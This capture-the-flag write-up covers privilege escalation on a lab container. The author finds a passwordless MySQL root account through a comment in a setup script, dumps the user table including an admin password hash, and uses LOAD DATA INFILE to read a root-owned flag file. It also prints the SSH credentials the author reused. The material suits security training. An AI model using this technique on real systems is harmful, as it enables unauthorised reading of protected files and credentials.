# Internal
## The brief
```This is Stage 2 of Path 3 in The Mission. After solving this challenge, you may need to refresh the page to see the newly unlocked challenges.
Escalate your privileges and retrieve the flag out of root's home directory.
Use credentials you have gathered previously to access this challenge.
Press the Start button on the top-right to begin this challenge.```
## SSH
We have creds from the `Orion` challenge:```user: Orionpass: stars4love4life```
## Recon
So what can we do? The machine has no `sudo` binary, our `id` is boring and no `SUID` binaries. ```bashorion@internal-b02dc088968f8e8d-655f7b5848-84zvp:~$ cd /orion@internal-b02dc088968f8e8d-655f7b5848-84zvp:/$ lsapp  bin  boot  create_mysql_admin_user.sh  dev  etc  home  lib  lib64  media  mnt  mysql-setup.sh  opt  proc  root  run  run.sh  sbin  srv  start-apache2.sh start-mysqld.sh  sys  tmp  usr  var```Interesting, some `MySQL` stuff.... can we logon?
```bashorion@internal-6302da397808a1bb-6f6f845cd-stzk4:/$ cat run.sh#!/bin/bash
VOLUME_HOME="/var/lib/mysql"
sed -ri -e "s/^upload_max_filesize.*/upload_max_filesize = ${PHP_UPLOAD_MAX_FILESIZE}/" \    -e "s/^post_max_size.*/post_max_size = ${PHP_POST_MAX_SIZE}/" /etc/php5/apache2/php.iniif [[ ! -d $VOLUME_HOME/mysql ]]; then    echo "=> An empty or uninitialized MySQL volume is detected in $VOLUME_HOME"    echo "=> Installing MySQL ..."    mysql_install_db > /dev/null 2>&1    echo "=> Done!"    /create_mysql_admin_user.shelse    echo "=> Using an existing volume of MySQL"fi
exec supervisord -norion@internal-6302da397808a1bb-6f6f845cd-stzk4:/$ cat mysql-setup.sh#!/bin/bash
service mysql restartsleep 5#mysqld &#mysqladmin --user root password ""#mysql -e "DROP USER 'root'@'localhost'; CREATE USER 'root'@'%' IDENTIFIED BY '';GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;"/usr/sbin/sshd -D```One of the comments is really usefull:```#mysqladmin --user root password ""```Time to SQL
## MySQL
Here is the initial part:``` mysql -u rootWelcome to the MySQL monitor.  Commands end with ; or \g.Your MySQL connection id is 7Server version: 5.5.47-0ubuntu0.14.04.1 (Ubuntu)
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;+--------------------+| Database           |+--------------------+| information_schema || mysql              || performance_schema |+--------------------+3 rows in set (0.00 sec)````information_schema` and `performance_schema` are not interesting to us. But `mysql` is!```mysql> use mysql;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A
Database changedmysql> show tables;+---------------------------+| Tables_in_mysql           |+---------------------------+| columns_priv              || db                        || event                     || func                      || general_log               || help_category             || help_keyword              || help_relation             || help_topic                || host                      || ndb_binlog_index          || plugin                    || proc                      || procs_priv                || proxies_priv              || servers                   || slow_log                  || tables_priv               || time_zone                 || time_zone_leap_second     || time_zone_name            || time_zone_transition      || time_zone_transition_type || user                      |+---------------------------+```Ooooo, and what's in `user`? (A lot, but here are the two important columns):```select User, Password  from user;+-------+-------------------------------------------+| User  | Password                                  |+-------+-------------------------------------------+| root  |                                           || root  |                                           || root  |                                           || root  |                                           || admin | *29D16BAEB5F0BF7E2F8E862E3FB290C7F03F3754 |+-------+-------------------------------------------+5 rows in set (0.00 sec)```Aight... what now? That isn't a real password...
## Getting the flag
Thank you to [Maryary](https://github.com/Maryary94)! She helped me finish this challenge.
We know that the flag is probably in the `/root/` folder as `flag.txt`. So how can we loaded into the database to read?```mysql> LOAD DATA INFILE '/root/flag.txt' INTO TABLE db FIELDS TERMINATED BY '\n';Query OK, 1 row affected, 21 warnings (0.00 sec)Records: 1  Deleted: 0  Skipped: 0  Warnings: 21```Then just `select * from db;` (I won't show the whole output):```flag{183bdf6f145a1c97f0b4f520355e8ed5}```Yay!